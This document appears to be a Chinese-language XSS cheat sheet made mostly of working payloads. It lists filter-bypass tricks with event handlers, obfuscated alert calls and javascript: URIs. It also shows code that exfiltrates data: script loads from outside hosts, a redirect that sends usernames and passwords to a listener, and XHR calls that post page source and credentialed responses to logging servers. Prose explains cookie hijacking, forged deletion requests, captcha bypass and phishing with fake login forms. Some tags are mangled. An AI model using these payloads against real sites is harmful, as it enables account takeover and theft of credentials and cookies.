<--`
--!>
<Details Open OnToggle =co\u006efirm`XSS`>
<SCRIPT SRC=http://damit5.kiwi/xss.js>SCRIPT>
<SVG ONLOAD=alert(1)>
<a href=1 onmouseover=alert(1)>nmaska>
<a href="javascript:confirm('xxx')" target="_blank" rel="nofollow">你可以点击我触发a>
<body onpageshow=alert(1)>
<discard onbegin=[1].find(alert)>
<iframe src=javascript:alert(1)>
<img src="X" onerror=top[8680439..toString(30)](1337)>
<img src="x:alert" onerror="eval(src+'(0)')">
<img src=1 onmouseover=alert(1)>
<img src=x onerror=setInterval`alert\x28document.domain\x29`>
<img src=x onerror=setTimeout`alert\x28document.cookie\x29`>
<img src=x:alert(alt) onerror=eval(src) alt=0>
<input type="hidden" name="returnurl" value="" accesskey="X" onclick="alert(document.domain)" />
//
<marquee onstart=alert(1)>
<video autoplay onloadstart="alert()" src=x>video>
<video autoplay controls onplay="alert()"><source src="http://mirrors.standaloneinstaller.com/video-sample/lion-sample.mp4">video>
<video controls onloadeddata="alert()"><source src="http://mirrors.standaloneinstaller.com/video-sample/lion-sample.mp4">video>
<video controls onloadedmetadata="alert()"><source src="http://mirrors.standaloneinstaller.com/video-sample/lion-sample.mp4">video>
<video controls onloadstart="alert()"><source src="http://mirrors.standaloneinstaller.com/video-sample/lion-sample.mp4">video>
<video controls onloadstart="alert()"><source src=x>video>
<video controls oncanplay="alert()"><source src="http://mirrors.standaloneinstaller.com/video-sample/lion-sample.mp4">video>
<audio autoplay controls onplay="alert()"><source src="http://mirrors.standaloneinstaller.com/video-sample/lion-sample.mp4">audio>
<audio autoplay controls onplaying="alert()"><source src="http://mirrors.standaloneinstaller.com/video-sample/lion-sample.mp4">audio>
<marquee loop=1 onFinish='alert(1)'>123marquee>
<noscript><p title="</noscript>
src=x onerror=alert(1)>">
<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=">
<script>a=prompt;a(1)script>
: script>1)>
上面基于标签中也有很多基于事件的了,遇到可以用事件的也可以参考下上面的事件
onclick=document.write(document.cookie)
self[Object.keys(self)[5]]("foo") // alert("foo")
constructor.constructor(alert(1))
eval('alert(1)')
[1].find(alert);
[self.alert(1)]
top['al\x65rt'](2);
top["al"+"ert"](3);
setTimeout('ale'+'rt(4)');
Function("ale"+"rt(5)")();
new Function`al\ert\`6\``;
setInterval('ale'+'rt(7)');
top[/al/.source+/ert/.source](9);
open('java'+'script:ale'+'rt(10)');
top[8680439..toString(30)](8); // 使用parseInt("alert",30)生成
self[9350252032..toString(30)](1) // confirm(1)
如果URL跳转的地址可控,且存在于标签中,就可以利用伪协议来XSS
javascript://www.baidu.com/%E2%80%A8alert(1)
javascript:location.href='http://127.0.0.1:8999/username='+document.getElementsByName('username')[1]._value+'&password='+document.getElementsByName('password')[1]._value
[a](javascript:prompt(document.cookie))
[a](j a v a s c r i p t:prompt(document.cookie))
<javascript:alert('XSS')>

[notmalicious](javascript:window.onerror=alert;throw%20document.cookie)
[a](data:text/html;base64,PHNjcmlwdD5hbGVydCgveHNzLyk8L3NjcmlwdD4=)

...
<x:script xmlns:x="http://www.w3.org/1999/xhtml">alert(1)x:script>
<x:script xmlns:x="http://www.w3.org/1999/xhtml" src="//brutelogic.com.br/1.js"/>
一个最常见的XSS Payload,就是通过读取浏览器的Cookie对象,从而发起“Cookie劫持”攻击
Cookie中一般加密保存了当前用户的登录凭证。Cookie如果丢失,往往意味着用户的登录凭证丢失。换句话说,攻击者可以不通过密码,而直接登录进用户的账户
<script>alert(document.cookie)</script>
这样,就完成了一个最简单的窃取Cookie的XSS Payload
Cookie的“
HttpOnly”标识可以防止“Cookie劫持”🥿
其他手法:
img>
<img src="x" onerror="$.getScript('http://x.xsslog.cn/xxxxx')">
构造GET请求:
比如在某博客上有一篇文章,想通过XSS删除它,该如何做呢?
例如正常删除该文章的链接是:
http://blog.sohu.com/manage/entry.do? m=delete&id=156713012
攻击者可以通过插入一张图片来发起一个GET请求:
var img = document.createElement("img");
img.src = "http://blog.sohu.com/manage/entry.do? m=delete&id=156713012";
document.body.appendChild(img);
构造POST请求:
例如现在有一个表单。攻击者将通过JavaScript发出一个POST请求,提交此表单,最终发出一条新的消息
var dd = document.createElement("div");
document.body.appendChild(dd);
dd.innerHTML = '+
''+
''+
''
document.getElementById("xssform").submit();
在前文提到的“通过POST表单发消息”的案例中,如果在提交表单时要求用户输入验证码,那么一般的XSS Payload都会失效;此外,在大多数“修改用户密码”的功能中,在提交新密码前,都会要求用户输入“Old Password”。而这个“Old Password”,对于攻击者来说,往往是不知道的。
但是,这就能限制住XSS攻击吗?答案是否定的。
对于验证码,XSS Payload可以通过读取页面内容,将验证码的图片URL发送到远程服务器上来实施——攻击者可以在远程XSS后台接收当前验证码,并将验证码的值返回给当前的XSS Payload,从而绕过验证码。
修改密码的问题稍微复杂点。为了窃取密码,攻击者可以将XSS与“钓鱼”相结合。
实现思路很简单:利用JavaScript在当前页面上“画出”一个伪造的登录框,当用户在登录框中输入用户名与密码后,其密码将被发送至黑客的服务器上。
例如:

最直接的莫过于通过XSS读取浏览器的UserAgent对象:
alert(navigator.userAgent);
如下是一个典型的Chrome浏览器:

如果遇到登录页面存在XSS,那么就可以通过一些特殊的js代码来获取账号密码等,达到登陆劫持的目的
举一些例子,可以根据实际情况修改
输入就弹窗
<input name="ccc" type="text" id="1" size="20" /><br />
<script>
var input = document.getElementById('1')
input.oninput = function(){
alert(input.value);
}
script>
<input name="ccc" type="text" id="xxx" size="20" /><br />
修改表单的action
<form action="xxx.php" method="post" id="sss">
<input type="text" name="xxx" id="xxx">
<input type="submit">
form>
通过增加按钮属性
$(".news[type=submit]")[0].setAttribute("onclick", "alert("Password:" + document.getElementsByName('Password')[0].value)")
跳转的登陆劫持
如果跳转的链接可控,也可以劫持到数据
redirectUrl=javascript:location.href='http://127.0.0.1:8999/username='+document.getElementsByName('username')[1]._value+'&password='+document.getElementsByName('password')[1]._value
发送xhr请求获取数据
通过xhr来获取敏感数据,有jquery更简单,只不过xhr比较通用
纯js请求获取token -> 正则表达式:
<script>
var xmlhttp = new XMLHttpRequest();
xmlhttp.open("POST","https://m.gm7.org/",true);
xmlhttp.withCredentials = true;
xmlhttp.send();
xmlhttp.onreadystatechange=function()
{
if (xmlhttp.readyState==4 && xmlhttp.status==200)
{
alert(xmlhttp.responseText);
}
}
script>
获取当前页面源码
var xmlhttp;
if (window.XMLHttpRequest) { // code for IE7+, Firefox, Chrome, Opera, Safari
xmlhttp = new XMLHttpRequest();
} else { // code for IE6, IE5
xmlhttp = new ActiveXObject("Microsoft.XMLHTTP");
}
xmlhttp.open("POST", "http://dnslog.ceye.io/html_source", true);
xmlhttp.send(escape(document.location) + "=" + encodeURIComponent(document.getElementsByTagName('html')[0].innerHTML));